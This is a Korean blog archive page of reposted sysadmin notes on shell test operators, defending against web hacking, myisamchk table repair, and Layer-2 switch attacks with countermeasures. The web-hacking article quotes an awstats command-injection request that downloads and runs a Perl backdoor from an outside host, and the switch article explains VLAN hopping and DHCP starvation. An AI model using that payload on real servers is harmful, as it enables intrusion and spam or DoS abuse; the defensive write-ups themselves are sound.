상상플러스 ::

'2006/09'에 해당되는 글 206건

2006/09/08 shell에서 if문에서 쓰이는것들

2006/09/08 최신 웹 해킹에 대응하는 방법

2006/09/08 myisamchk 복구명령어

2006/09/08 Ethernet 보안 + DHCP 등등

2006/09/08 전산망 해킹 침해사고시 어떻게 처리하나

2006/09/08 프로세스 어카운팅

2006/09/08 Apache Admin 보안

2006/09/08 find 로 문자열 찾아서 치환

2006/09/08 FTP명령어

2006/09/08 시스템 관련 스터디 자료

Linux/SHELL 2006/09/08 15:57

shell에서 if문에서 쓰이는것들

카페 > 컴시스템 / ykc1111님

http://cafe.naver.com/comsystem1111/244

shell에서 if문에서 쓰이는것들..

유닉스를 잘 안써서 잘몰랐었다..

if [ -r "$CATALINA_HOME"/bin/setclasspath.sh ]; then
BASEDIR="$CATALINA_HOME"
. "$CATALINA_HOME"/bin/setclasspath.sh
fi

요런걸쓸때 -r이 몰까 모르겠어서 찾아보았다 아래와 같다고 한다..

유닉스쉘을 지금은쓸기회가 없어서 그다지 -_- 필요없어보이긴하나 알고있으면 뭐~ 쓸모있을지도 몰라서 copy해 보았다..

-b 파일 : 파일이 블럭 장치 파일이면 참
-c 파일 : 파일이 문자 장치 파일이면 참
-d 파일 : 파일이 디렉토리이면 참
-e 파일 : 파일이 존재하면 참
-f 파일 : 파일이 정규 파일이면 참
-L 파일 : 파일이 심볼릭 링크이면 참
-p 파일 : 파일이 네임드(named) 파이프이면 참
-S 파일 : 파일이 소켓이면 참
-r 파일 : 파일이 읽기 가능이면 참
-s 파일 : 파일의 크기가 0보다 크면 참
-w 파일 : 파일이 쓰기 가능이면 참
-x 파일 : 파일이 실행 가능이면 참
파일1 -nt 파일2 : 파일1이 파일2보다 새로운 파일이면 참
파일1 -ot 파일2 : 파일1이 파일2보다 오래된 파일이면 참
파일1 -ef 파일2 : 파일1과 파일2가 같은 파일이면 참

문자열식은 문자열에 대한 비교를 한다.

-z 문자열 : 문자열의 길이가 0이면 참
-n 문자열 : 문자일의 길이가 0이 아니면 참
문자열1 = 문자열2 : 문자열1과 문자열2가 같으면 참
문자열1 != 문자열2 : 문자열1과 문자열2가 다르면 참

-h filename
   True if filename exists and is a symbolic link.
   With all other primitives (except -L filename),
   the symbolic links are followed by default.

문자열 비교
[ string ] - string이 빈 문자열이 아니라면 참
[ string1 = string2 ] - 두 문자열이 같다면 참
[ string1 != string2 ] - 두 문자열이 다르면 참
[ -n string ] - 문자열이 null(빈 문자열) 이 아니라면 참
[ -z string ] - 문자열이 null(빈 문자열) 이라면 참

산술 비교
`[ expr1 -eq expr2 ]` - 두 표현식 값이 같다면 참 ('EQual')
`[ expr1 -ne expr2 ]` - 두 표현식 갑이 같지 않다면 참 ('Not Equal')
[ expr1 -gt expr2 ] - `expr1 > expr2` 이면 참 ('Greater Then')
[ expr1 -ge expr2 ] - `expr1 >= expr2` 이면 참 ('Greater Equal')
[ expr1 -lt expr2 ] - `expr1 < expr2` 이면 참 ('Less Then')
[ expr1 -le expr2 ] - `expr1 <= expr2` 이면 참 ('Less Equal')
[ ! expr ] - expr 이 참이면 거짓, 거짓이면 참
[ expr1 -a expr2 ] - expr1 AND expr2 의 결과 (둘다 참이면 참, 'And')
[ expr1 -o expr2 ] - expr1 OR expr2 의 결과 (둘중 하나만 참이면 참, 'Or')

파일 조건
[ -b FILE ] - FILE 이 블럭 디바이스 이면 참
[ -c FILE ] - FILE 이 문자 디바이스 이면 참.
[ -d FILE ] - FILE 이 디렉토리이면 참
[ -e FILE ] - FILE 이 존재하면 참
[ -f FILE ] - FILE 이 존재하고 정규파일이면 참
[ -g FILE ] - FILE 이 set-group-id 파일이면 참
[ -h FILE ] - FILE 이 심볼릭 링크이면 참
[ -L FILE ] - FILE 이 심볼릭 링크이면 참
[ -k FILE ] - FILE 이 Sticky bit 가 셋팅되어 있으면 참
[ -p FILE ] - True if file is a named pipe.
[ -r FILE ] - 현재 사용자가 읽을 수 있는 파일이면 참
[ -s FILE ] - 파일이 비어있지 않으면 참
[ -S FILE ] - 소켓 디바이스이면 참
[ -t FD ] - FD 가 열려진 터미널이면 참
[ -u FILE ] - FILE 이 set-user-id 파일이면 참
[ -w FILE ] - 현재 사용자가 쓸 수 있는 파일(writable file) 이면 참
[ -x FILE ] - 현재사용자가 실행할 수 있는 파일(Executable file) 이면 참
[ -O FILE ] - FILE 의 소유자가 현재 사용자이면 참
[ -G FILE ] - FILE 의 그룹이 현재 사용자의 그룹과 같으면 참
[ FILE1 -nt F - : FILE1이 FILE2 보다 새로운 파일이면 ( 최근파일이면 ) 참
[ FILE1 -ot F - : FILE1이 FILE2 보다 오래된 파일이면 참
[ FILE1 -ef F - : FILE1 이 FILE2의 하드링크 파일이면 참

이 글에는 트랙백을 보낼 수 없습니다

Hacking 2006/09/08 15:56

최신 웹 해킹에 대응하는 방법

블로그 > 까비모님의 블로그

http://blog.naver.com/kabimo/50001690161

최근 웹 애플리케이션의 취약성을 이용한 웹 해킹이 기승을 부리고 있다.
다음은 대표적인 웹 로그 분석 프로그램인 'awstats'의 취약성을 이용한 공격 사례다.

홍석범 | 오늘과 내일 과장

이는 GET 메소드로 해당 사이트에 특정 옵션을 주면 바로 시스템 명령어를 실행할 수 있다는 점을 이용한 것으로, 먼저 /tmp 디렉토리로 이동한 뒤 특정 사이트에서 백도어 파일을 다운로드하고 perl을 실행한다는 것을 알 수 있다. 이 때 awstats.pl에 SUID(Set User ID) 가 설정되지 않으면 웹 서버 권한으로 실행돼 nobody로 작동할 것이다.

GET
http://www.domain.com/awstats/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;curl%20-O%20http://www.geocities.com/h4x000r/a.pl;perl%20a.pl;echo%
20;rm%20-rf%20a.pl*;echo| HTTP/1.1

이상과 같은 웹 해킹 후에는 몇 가지 뚜렷한 현상이 나타나는데, 우선 스팸이나, 피싱 등 대량의 스팸 메일을 발송하는 경우다. 릴레이가 허용된 메일 서버가 많이 사라지고 각종 안티 스팸 정책들이 설정되면서 스패머들이 설 자리가 없어지다 보니 자연스럽게 해킹을 통해 스팸을 발송하는 경우가 증가하고 있다. 스패머들은 웹 해킹으로 nobody 등 웹 서버 실행 권한을 획득한 후 wget이나 curl, lynx 등의 시스템 명령어를 통해 서버에 메일 발송 프로그램 등 각종 백도어 파일을 다운로드하고 실행한다. 이로 인해 시스템에 과부하가 일어나 정상적으로 운영되던 서버가 하루 아침에 각종 RBL에 스팸 발송 리스트에 등록되는 경우가 생긴다.
자신의 서버가 RBL에 등록됐는지 여부는 다음의 질문을 통해 확인하면 된다.

http://www.dnsstuff.com/tools/ip4r.ch?ip =211.47.xx.xxx

다음은 PS를 사용할 경우 실제 스팸을 발송할 때 보이는 관련 프로세스로, 웹 서버 실행 권한인 nobody를 통해 perl을 이용해 메일을 발송하고 있음을 알 수 있다.

nobody 25619 0.0 0.0 02:14 0:00 sh -c perl sendeb.pl

두 번째는 일종의 DoS 공격인 UDP 플루딩 공격을 하는 경우다. TCP나 ICMP보다 UDP를 이용할 경우 보다 효과적이기 때문에 거의 대부분 UDP를 사용하게 된다.
이 역시 nobody 권한을 획득 후 wget 등으로 대량의 패킷을 생성할 수 있는 공격 파일을 다운로드 해 특정 네트워크나 서버로 공격하는 것이다. 이런 경우 대량의 패킷 트래픽을 유발해 네트워크 장비가 패킷 전송을 제대로 하지 못해 up&down을 반복하면서 네트워크 장애가 발생한다. 물론 일부 공격 형태에 따라서는 bps(bits per second)가 동반 상승하는 경우도 있지만, bps보다는 pps가 더욱 중요하다.
실제 테스트를 해 보면 특정 코드의 경우 10만 pps 이상 유발되며, 이 정도면 저사양 라우터 등 3계층 이상 장비들(4계층 스위치, 파이어월, 7계층 장비 등)은 최대 용량 초과로 다운된다. 네트워크 장비의 경우 pps는 SNMP를 이용한 MRTG로, 리눅스의 경우 IPtraf를 이용하면 즉시 측정할 수 있다.
(화면 3)는 MRTG로 pps를 측정한 것인데, 오전 4시경부터 평소의 1만 pps에서 96만 pps까지 상승한 것을 알 수 있다.

화면 3 | MRTG로 측정한 pps

IPtraf는 홈페이지(http://iptraf.seul.org)에서 다운로드할 수 있으며, 프로그램을 실행한 뒤 'Detailed interface statistics'를 선택해 측정할 인터페이스를 선정하면 해당 인터페이스를 통과하는 패킷의 bps와 pps를 실시간으로 확인할 수 있다. 다음은 실제 대량의 pps를 유발하는 DoS 공격툴을 실행할 때 캡처된 수치로, 단방향으로 10만 pps 이상의 프래픽이 유발되는 것을 알 수 있다.

화면 4 | IPtraf를 실행하여 pps를 모니터링 하는 화면

최근 들어 곳곳에서 확인되는 위협적인 Dos 공격에 어떻게 대응해야 할까. 다음과 같은 방법을 그 해결책으로 꼽을 수 있다.

① wget, curl, lynx 등의 퍼미션을 700 등으로 제한하거나 삭제한다.
앞에서도 살펴본 바와 같이 취약성을 통해 시스템 명령어를 실행할 수 있는 상태가 되면 상위 권한 획득, 스팸 메일 발송 등을 위해 외부에서 다운로드를 위한 wget이나 curl, lynx 등을 이용한다. 따라서 이 파일의 퍼미션을 차단하면 일반 사용자 권한으로 외부에서 악성코드의 다운로드가 어려워진다. 물론 wget 등을 차단해도 ftp를 이용하거나 게시판을 통한 파일 업로드 등을 이용할 수 있다.

② 웹 서버에서 특정 URI를 필터링하도록 한다.
앞에서 awstats의 공격 사례를 살펴본 것처럼 HTTP의 GET 메소드를 통해 공격할 경우 URI에 시스템 명령어 등 각종 공격 기법이 그대로 노출된다. 따라서 URI에 보이는 명령어를 필터링하면 되는데, 아파치 웹 서버의 경우 자체적으로 URI 필터링 기능을 제공하지 않으므로 별도의 Rewrite나 ModSecurity 모듈을 이용한다.

③ IPtables를 이용해 패킷을 차단한다.
아웃바운드 UDP 트래픽이 문제가 되는 것이므로 IPtables를 이용해 차단하는 방법도 고려할 수 있다. 상태 추적을 이용하면 해당 트래픽만 차단할 수 있는데, 일반적으로 정상적인 UDP 트래픽은 DNS 외에는 없으므로 DNS만 고려해 실행하면 된다.
다음은 아웃바운드 트래픽 중 목적지 IP가 168.126.63.1이면서 목적지 포트가 53번이 아닌 UDP 트래픽을 차단하는 과정이다. 만약 참조하는 DNS 서버가 168.126.63.1이 아니면 적절한 IP를 지정하면 된다.

# iptables -A OUTPUT -p udp ! -d 168.126.63.1 --dport 53
-m state --state NEW -j DROP

이 명령어는 상태추적에서 처음 보이는 아웃바운드 UDP 트래픽 중 목적지 IP가 168.126.63.1이고, 목적지 포트가 53번인 패킷은 제외하고 차단한다는 것이다. 만약 자체적으로 resolvong DNS 서버를 운영해 임의의 도메인에 대한 룩업 서비스를 제공한다면 모든 DNS 서버로 질의를 할 수 있다. 이 경우에는 목적지 IP를 0/0으로 변경하면 된다.

최근 해킹 양상이 단순한 흥미와 영웅심리가 아닌 상업적으로 악용되면서 두 번째 Dos 공격의 경우가 자주 확인되고 있으므로, 궁극적으로는 일반 사용자 권한을 빼앗기지 않도록 보안을 강화하는 것이 더욱 중요할 것이다.

이 글에는 트랙백을 보낼 수 없습니다

Web_developing/Mysql 2006/09/08 15:56

myisamchk 복구명령어

myisamchk 이란?

- DB 테이블에대한 오류 검사 및 오류 복구 유틸리티 이다
- 버전 3.22.x : isamchk 유틸리티 사용
3.23.x : myisamchk 유틸리티 사용

[ myisamchk 사용전 주의사항 ]

- mysql 데몬을 stop 시킨후 이 유틸리티를 사용해야함.
- mysql 데몬을 중지시킬수 없는 사항이라면 검사할 테이블에대한 rock을 걸고
검사를 수행하여야만 검사도중에 발생할수있는 오류를 막을수있다.
- 모든작업을 항상 백업을 한후 작성을 수행하는것이 좋을것이다.

[ myisamchk 사용법 및 옵션 ]

- 해당 테이블이있는 디렉토리로 이동 ( 보통 /usr/local/mysql/var 밑에 위치함 )

1.일반적인 검사

# myisamchk [table 명]
예)
Checking MyISAM file: zz_news.MYI
Data records: 0 Deleted blocks: 0
- check file-size
- check key delete-chain
- check record delete-chain
- check index reference
- check data record references index: 1
- check data record references index: 2
- check record links
==> 에러메시지가 없으면 테이블에 오류가 없다는것이다.

2. 옵션

# myisamchk -s,--silent [table 명]
-> 에러만 출력

# myisamchk -v,--verbose [table 명]
-> -s 옵션보다 많은 정보를 출력

# myisamchk -V
-> myisamchk 버젼을 표시

3. 체크 옵션

# myisamchk -c,--check [table 명]
-> 테이블의 에러를 check 함

# myisamchk -e,--extend-check [table 명]
테이블을 좀더 세밀하게 check 함, 일반적인 방법으로 error를 찾을수없을 경우 사용

# myisamchk -F,--fast [table 명]
-> 빠른게 테이블 check 한다.정교한 체크는 하지않느다.

# myisamchk -C,--check-only-changed [table 명]
-> 테이블을 check 하고,테이블을 check 이후의 상태로 변경한다.

# myisamchk -f,--force [table 명]
-> 테이블에 error에 있을경우 강재로 check 한다.

# myisamchk -i,--information [table 명]
-> check한 결과의 정보를 통계화하여 보여준다.
예)
Checking MyISAM file: zz_news.MYI
Data records: 0 Deleted blocks: 0
- check file-size
- check key delete-chain
- check record delete-chain
- check index reference
- check data record references index: 1
- check data record references index: 2
- check record links
Record blocks: 0 Delete blocks: 0
Record data: 0 Deleted data: 0
Lost space: 0 Linkdata: 0

User time 0.01, System time 0.00
Maximum resident set size 0, Integral resident set size 0
Non-physical pagefaults 26, Physical pagefaults 186, Swaps 0
Blocks in 0 out 0, Messages in 0 out 0, Signals 0
Voluntary context switches 0, Involuntary context switches 0

#myisamchk -m,--medium-check [table 명]
-> extend-check 옵션보다 check 속도가빠르며,99.9 % 의 에러을 찾을수있다.

4.Repair 옵션

#myisamchk -o -B,--backup [table 명]
-> MYD파일을 백업한다. 형식은 [filename-time.BAK]의 파일이 생긴다.

# myisamchk -e,--extend-check [table 명]
-> 세부적인 파일까지 복구를해준다.일반적으로 아주 하찮은 에러까지 찾을수
있다.하지만 자포자기의 상태가 아니고서는 이옵션을 사용하지 않는게 좋다.

# myisamchk -f,-force [table 명]
-> 이전것의 temporary file을 덥어쒸운다.

# myisamchk -l,--no-symlinks [table 명]
-> 심복릭 링크를 따르지않겠다는 옵션이다. 일반적으로 myisamchk 는symlink points를 복구한다.

# myisamchk -r,--recover [table 명]
-> unique key를 제외한 대부분를 복구한다.

# myisamchk -n,--sort-recover [table 명]
-> sorting하면서 테이블을 복구한다. 심지어 temporary 파일과 같은 아주 큰
파일역시 sorting하면서 복구한다.

# myisamchk -o,--safe-recover [table 명]
-> -r 옵션보다 느리게 복구한다.그러나 좀더 섬세한 복구를 지원한다.

# myisamchk -q,--quick [table 명]
-> 테이터 파일의 수정없이 복구한다.

5. 기타 옵션
# myisamchk -d,--description [table 명]
-> 테이블에 대한 정보를 출력한다.

# myisamchk -S,--sort-index [table 명]
-> index 블록을 sort한다.

# myisamchk -R[index번호],--sort-records [table 명]
-> index 번호를 기준으로 인덱스를 정렬해준다.

6.검사중 아래의 메시지가출력되면 해당테이블을 사용중이라는 의미이므로 테이블에 LOCK을 걸든가 데몬을 죽이고 나서 검사 및 복구를해야함.

myisamchk: warning: 1 clients is using or hasn''t closed the table
properly

7. LOCK 걸기

myisamchk 는 테이블에대한 read 만 할수있으면 되기때문데 read 를 제외한
모든것에 lock을 걸면된다.

mysql> lock tables [table 명] READ ;
mysql> flush tables ;

flush tables 는 mysql이 테이블의 내용을 메모리에만 보관하고 실제 테이
블파일에 기록을하지 않았을경우 실제 테이블파일에 기록하라는 의미이다

8.LOCK 풀기

mysql> unlock talbe;

9.Myisamchk 로 복구를 위한 LOCK 걸기

서비스를 죽이지않고 복구를 해야할경우는 write lock를 걸어주면된다.
복구는 write 를 해야하기때문에 write lock를 걸어줘야한다.

mysql>lock tables [table명] write;
mysql>flush tables;

10.LOCK 풀기

mysql> unlock table;

이 글에는 트랙백을 보낼 수 없습니다

Hacking 2006/09/08 15:55

Ethernet 보안 + DHCP 등등

스위치 계층(L2)은 건축물의 기둥에 해당하는 부분으로 입구경비와 외관 등을 완벽하게 지키더라도 기둥이 무너지면 아무런 의미가 없는 것처럼, 스위치에 연결된 각종 호스트 및 서버의 안정적인 운영을 위해 스위치 계층의 보안은 고려해야 한다. 단 스위치 계층의 특성상 해당 네트워크에 연결돼야만 공격이 가능하므로, 물리적 보안과 관리적 보안의 중요성도 잊지 말아야 할 것이다.

VLAN 공격

VLAN(Virtual LAN)은 스위치의 물리적인 네트워크를 네트워크 관리자가 필요에 따라 좀 더 작은 논리적인 네트워크로 분리하는 것을 의미한다. 1대의 물리적인 스위치를 논리적으로 분리한다는 것은 포트기반, 프로토콜 기반, 서브넷 기반으로 분리할 수 있으며, 벤더에 따라 지원하는 기준은 상이하다. <그림 1>은 포트 기반 VLAN을 구성한 예로, VLAN 1과 VLAN 2의 호스트간에는 통신이 되지 않는다.

VLAN으로 분리한 구성에도 필요상 모든 VLAN이 교집합처럼 공통적으로 액세스가 가능해야 할 포트가 요구될 때도 있다. <그림 1>에서 만약 모든 호스트가 인터넷을 접속해야 하며, 인터넷망과 연결된 라우터가 1대라면 라우터는 어느 포트에 연결을 해야 할까?

<그림1> 정상적인 MAC 테이블 동작

VLAN 1과 VLAN 2가 동시에 액세스할 수 있는 포트가 필요하다. 이러한 포트를 트렁크(Trunk) 포트라고 하며, 트렁크 포트는 여러 개의 VLAN을 중복할 수 있다. 트렁크 설정은 IEEE 802.1Q 또는 시스코의 ISL(Inter-Switch Link) 방식으로 패킷을 변조하는데, 기술적인 용어로는 태깅(tagging)한다고 하며, ISL의 경우 시스코에서만 사용되는 고유한 방식이다. 801.1Q 태깅은 정상적인 패킷 내에 801.1Q 태그 정보가 삽입되게 된다.

보안 위협

① 베이직 VLAN 호핑 공격

이 공격은 네트워크 공격의 일종으로, 정상적인 경우 서로 다른 VLAN 내의 호스트간에는 통신을 하지 못하므로 공격자 역시 통신이 불가능하지만 공격자는 가능하도록 한다. 공격자 자신이 스위치처럼 위장하고, 변조된 ISL 혹은 802.1Q의 패킷을 스위치로 전송해 스위치와 트렁크 포트로 연결됨으로써 VLAN과 관계없이 모든 네트워크로 접속할 수 있다.

공격이 성공한 이유는 공격자와 연결된 스위치에서 트렁크 포트 설정이 관리자가 설정하는 방법 이외에 스위치가 자동적으로 설정하는 DTP 기능이 자동(AUTO)으로 설정되어 공격자가 요청한 트렁크 설정에 스위치가 트렁크 포트로 설정한 것이다.

대부분의 스위치의 DTP기능이 자동으로 초기설정돼 있으며, 이것은 어떤 트렁크 포트의 설정 요청에도 트렁크 포트를 허용한다는 기능이므로 주의해야 한다.

② 더블 인캡슐레이티드 VLAN 호핑 공격

간단히 정리하면, 공격자는 원하는 VLAN으로 접속하기 위한 트렁크 포트가 되기 위해 802.1Q의 패킷 변조를 2번하여 스위치를 공격하는 것이다. 스위치는 첫 802.1Q를 한 번 사용하고 다시 다른 스위치에서 두 번째 802.1Q를 사용하는 방식으로 802.1Q 패킷 변조가 2번이 되었음에도 불구하고, 스위치에서는 한 번만을 해석한다는 기능적인 취약점을 이용해 호핑(hopping)의 의미대로 깡총깡총 VLAN을 넘어다닌다.

<그림3> 더블 인캡슐레이티드 VLAN 호핑 공격 사례

<그림 3>은 공격자가 첫 번째 스위치와 두 번째 스위치에서 802.1Q 정보를 사용함으로써, 공격 대상으로의 접근이 가능하다. 이써리얼(Ethereal)이라는 패킷 스니핑 툴을 이용해 패킷을 정보를 분석해 보면 801.1Q 패킷변조가 2번 되어 있는 것을 확인할 수 있다.

보호 대책

우선 항상 모든 트렁크 포트에 대해서 일관적인 VLAN ID를 사용해야 한다. 즉 VLAN 구성 혹은 장비 설정시 즉흥적인 VLAN ID 할당이 아닌, 정책적이고 분류된 VLAN을 할당한다. 그 다음 사용하지 않는 포트는 꺼 놓은 후 사용하지 않는 VLAN으로 모두 포함시킨다. 여기에서 VLAN 1의 VLAN ID는 사용하지 않는다.

VLAN을 지원하는 장비들의 초기 설정은 모든 포트가 VLAN 1으로 설정돼, 구매 후 별다른 VLAN 설정을 하지 않으면 모든 포트가 VLAN 1에 포함되어 있으므로 일반 스위치와 동일하게 사용할 수 있다.

또한 벤더나 모델 구분 없이 모두 VLAN 1으로 초기설정돼 있으므로, VLAN을 지원하는 A사 제품과 B사 제품 구매 후에도 별다른 설정이 없으면 두 스위치끼리 트래픽이 전송된다. 만약 벤더마다 VLAN 초기설정이 각각 다르다면, 장비 설정을 변경하기 전에는 스위치간 트래픽 전송이 불가능한 사태를 예방하기 위함이다.

마지막으로 일반 호스트(사용자)가 접속하는 포트들은 모두 논-트렁킹(DTP Off)으로 설정해야 한다. 일반 호스트와 연결된 포트가 트렁크 포트로 사용될 일은 극히 희박하므로, 트렁크 포트 변경될 수 없도록 한다.

DHCP 고갈

DHCP(Dynamic Host Configuration Protocol)란 호스트 등의 IP설정 시 사용자가 고정적으로 IP를 할당하지 않고 DHCP 서버에서 제공하는 IP, 서브넷 마스크, 게이트웨이와 DNS 등의 정보를 자동으로 할당받을 수 있는 기능이다. 이것은 수많은 호스트가 존재하는 네트워크 구성에서 관리자의 IP 관리의 효율성을 가져다 줄 수 있는 기능이지만 보안관점에서는 불합리한 점들이 있다.

보안 위협

DHCP 고갈(starvation) 공격은 위조된 MAC 주소로 포함해 DHCP 리퀘스트(request) 패킷을 브로드캐스트한다. 만약 리퀘스트가 충분히 많다면 공격자는 DHCP의 할당 가능한 모든 주소들을 소비시킬 수 있으며, 이것은 SYN 플루드(flood)와 같은 간단한 자원 고갈(resource starvation) 공격이라고 할 수 있다.

이후 공격자는 DHCP 서버로 위장해 사용자들에게 DHCP 주소를 할당하지만, 할당하는 주소에는 잘못된 DNS, 게이트웨이 등의 정보를 포함하고 있으므로 사용자는 위조된 주소 정보로 데이터를 전송한다. 정상적인 네트워크 경로가 아닌 공격자에게 트래픽 전송으로 인한 여러 가지 문제점이 발생한다.

보안 대책

각 포트에서의 사용할 수 있는 MAC 주소를 제한함으로써 CAM 플루딩 공격을 방지하기 위한 방법과 마찬가지로 DHCP 고갈의 대책으로 사용할 수 있으나, 위장된 DHCP 서버를 통한 공격은 차단하지 못한다. 위장된 DHCP 서버를 이용한 공격을 차단하기 위해 RFC 3118의 ‘Authentication for DHCP Messages’에서 DHCP 메시지의 인증 방법을 이용하기도 했지만, 마침내 DHCP 옵션 82에서 근본적인 대책을 마련했다. DHCP 고갈 공격 가능성을 최소화하기 위해서는 네트워크 내의 안전한 네트워트 지역내에 여러 대의 DHCP 서버를 구성하는 것도 고려해 볼만 하다.

사설 VLAN 공격

사설(Private) VLAN의 핵심적인 기능은 같은 IP 서브넷 상의 시스템간 통신을 제한하기 위해 사용한다. 사설 VLAN에 포함된 포트들의 설정은 네트워크 구성을 고려해 트래픽 전송여부에 따라 결정된다.

시스코의 경우 아이솔레이티드(isolated) 포트는 오직 프로미스큐어스(promiscuous) 포트와 통신이 가능하지만, 아이솔레이티드 포트간에는 통신이 차단된다. 공격자가 아이솔레이티드에 속해 있다면, 다른 아이솔레이티드 포트에 속해 있는 호트스를 공격하기 위해서는 사설 VLAN에 의해 차단되지 않아야 하므로, 사설 VLAN의 보안정책을 위배하는 공격을 시도한다.

보안 위협

공격자는 공격 대상 호스트에게 접근하려고 하지만, 사설 VLAN 정책에 서로 다른 아이솔레이티드 포트에 위치하고 있으므로 불가능하다.

<그림4> 사설 VLAN 공격 사례

공격자는 패킷을 위조해 라우터의 MAC 주소를 목적지로 하고 IP 주소는 공격 대상 주소로 하는 변조된 패킷을 전송한다(목적지 MAC:목적지 주소=C:2). 위조된 패킷을 수신한 스위치는 목적지 MAC 주소가 라우터이고, 라우터는 프로미스큐어스 포트에 연결돼 있으므로 스위치는 라우터로 공격자가 전송한 패킷을 전달한다(사설 VLAN의 정책에 위배되지 않음). 즉 스위치는 MAC 주소만을 보고 라우터로 전송한 것이다.

패킷을 수신한 라우터는 IP 주소가 라우터 자신이 아닌 공격대상 호스트의 IP이므로, 목적지를 공격대상 호스트의 정상적인 MAC 주소로 변경(목적지 MAC:목적지 주소=C:2 → B:2 로 변경)해 스위치로 재 전송한다. 즉 라우터는 IP만을 보고 재 전송한 것이다.

스위치는 라우터가 재전송한 패킷의 목적지의 MAC 주소가 공격 대상의 MAC 주소이므로 공격대상으로 전달한다. 결국 공격자는 스위치→라우터→스위치→공격 대상의 경로로 사설 VLAN 정책이 무의미하도록 통신을 하고 있다.

보안 대책

공격이 가능한 이유는 공격자의 위조된 패킷이 라우터로 접속이 가능했기 때문이므로, 라우터의 인터페이스에 ACL(Access Control List)을 설정해 차단해야 한다. ACL은 스위치와 연결된 인터페이스로 유입되는 IP 프로토콜 중 출발지, 목적지가 모두 내부 네트워크인 트래픽을 차단하도록 설정한다. 출발지와 목적지가 내부 네트워크인 트래픽은 라우터까지 전송되지 않고 스위치에서 전송할 수 있으므로, 라우터까지 도달할 필요가 없기 때문이다. 이러한 ACL 설정으로 공격자의 위조된 패킷이 스위치에서 라우터에 도달할 경우 차단된다.

스위치 액세스

장비 관리, 설정과 모니터링 등을 위해 스위치에는 IP를 할당하며 텔넷, http 등의 접속으로 직접 장비로 접속할 수 있다. 불법적인 접속을 차단하기 위해 계정 및 패스워드 인증으로 권한에 따라 모니터링 혹은 설정 변경이 가능하다. 물론 벤더마다 상이하지만, 공통적인 것은 인증절차를 제공하고 있다는 것이다. 보통 장비 구매 후 운영 네트워크에 설치할 때, 다음과 같은 과오를 자주 범한다.

패스워드를 설정하지 않는다.
패스워드는 간단한 것을 사용한다.
장비 초기 설정된 패스워드를 그대로 사용한다.
사용에 아무런 문제가 없으므로 초기 설정으로 그대로 사용한다.
장비 설정시 정상적으로 동작하면 더 이상의 설정은 하지 않으며, 제공 기능들에 대해 고민하지 않는다.

보안 위협

공격자는 스위치의 IP정보, 벤더 및 장비명, 벤더별 장비의 초기 패스워드 정보 등을 쉽게 파악할 수 있으므로, 위와 같은 스위치 운영환경에서는 쉽게 장비로 로그인할 수 있다. 공격자가 장비로 직접 접속할 수 있다는 것은 매우 위험한 일이다.

그 순간부터 공격자는 전지전능한 신이 되어 장비 설정 변경, 운영 펌웨어 삭제, 설정 내용 삭제, 설정 내용 백업, 특정 포트의 셧다운과 인에이블(enable) 반복, 리부팅 등 무수한 일을 할 수 있다. 장비에서 제공하는 모든 기능들을 검토하고 실습할 것이다.

보안 대책

레이어 2 계층의 스위치는 백본 스위치처럼 고성능의 고가의 장비가 아니므로 소홀한 경향이 현실인 것만은 분명하다. 그러나 스위치의 보안강화는 스위치와 연결된 모든 호스트 및 서버들의 정상적인 운영을 위한 기초가 되므로 다음과 같은 보안대책으로 안전한 스위치 운영의 토대를 마련해 보자.

스위치의 패스워드는 중요 서버의 부트(root) 패스워드와 같은 수준으로 설정한다.
패스워드 인증 이외에 계정입력 기능이 제공되면 활용하도록 한다.
장비의 초기설정 계정 및 패스워드는 반드시 삭제 혹은 변경한다.
ACL을 활용한 접근제어를 설정한다. 관리자의 호스트 주소, 혹은 네트워크 대역만이 접속할 수 있도록 한다.
SNMP(Single Network Management Protocol) 기능을 사용하지 않을 경우 삭제하고, NMS(Network Management System)를 통한 관리를 하고자 할 경우 SNMP 커뮤니티를 패스워드 정책에 준하는 수준으로 변경한다. 공격자는 SNMP 커뮤니티만을 파악함으로써 90% 이상의 하드웨어 정보와 운영정보를 얻을 수 있다.
SSH, SSL 등 암호화된 프로토콜을 이용한 장비접속을 구현한다. 물론 장비의 지원여부를 확인해야 한다. 일반적인 텔넷 혹은 http의 경우 네트워크 스니핑으로 패스워드 등의 주요 정보가 노출될 수 있다.
장비의 로깅 기능을 활용한다. 로그서버로의 전송을 설정하고 주기적인 로그분석으로 운영상태 점검 및 침해사고 대응의 기초자료로 활용한다.

스위치 계층(L2)의 공격은 장비 공격과 트래픽 흐름을 변경하는 네트워크 공격으로 크게 분류할 수 있다. 장비공격은 스위치의 허술한 보안설정, 관리정책과 동작원리 등의 취약점을 이용한 공격이며, 네트워크 공격은 스위치 계층의 통신원리를 이용해 불법적으로 트래픽 흐름을 변조하는 공격이다. 이번 호에는 네트워크 공격에 해당되는 MAC 플루딩, ARP 스푸핑, 스패닝 트리 공격의 원리와 위협, 대책을 살펴본다.

MAC 플루딩

스위치의 지능적인 기능 중의 하나인 MAC 정보의 저장은 허브와 같은 공유된 이더넷 방식의 문제점을 해결하고 고성능을 제공하는 획기적인 기능이었지만, 스위치 역시 하드웨어이므로 저장할 수 있는 물리적 공간의 제약으로 저장 가능한 최대 MAC 주소가 제한된다. MAC 플루딩(Flooding) 공격은 이러한 점을 이용해 스니핑이 가능하도록 하는 공격 방법이다. 우선 정상적인 MAC 테이블의 동작을 살펴보자.

<그림1> 정상적인 MAC 테이블 동작

<그림 1>을 보면 현재 스위치에 저장된 MAC 정보는 포트 1과 3에 MAC A, C를 파악하고 있다. MAC A가 B와 통신하기 위해서 데이터를 전송하면, 스위치는 MAC B에 대한 저장된 정보가 없으므로, 플루딩을 실시한다. 플루딩이란 스위치가 MAC B에 대한 정보가 없어 허브의 동작과 동일하게 포트에 연결된 모든 호스트로 데이터들을 전송하는 것을 말한다. 스위치와 연결된 모든 호스트들은 MAC A가 전송한 데이터를 수신하며, 자신의 MAC 주소가 아닌 호스트들은 데이터를 폐기하지만, MAC B 호스트는 MAC A로 데이터를 전송한다. MAC B가 MAC A로 데이터를 전송하면, 스위치는 MAC B가 포트 2번에 연결되어 있음을 파악하고 MAC정보와 포트정보를 저장한다. 다시 MAC A가 MAC B와 통신을 할 경우 스위치는 저장된 MAC 정보를 이용해 플루딩하지 않고 바로 포트 2를 통해 MAC B로 전송하므로 MAC C에는 데이터가 전송되지 않는다.

개요

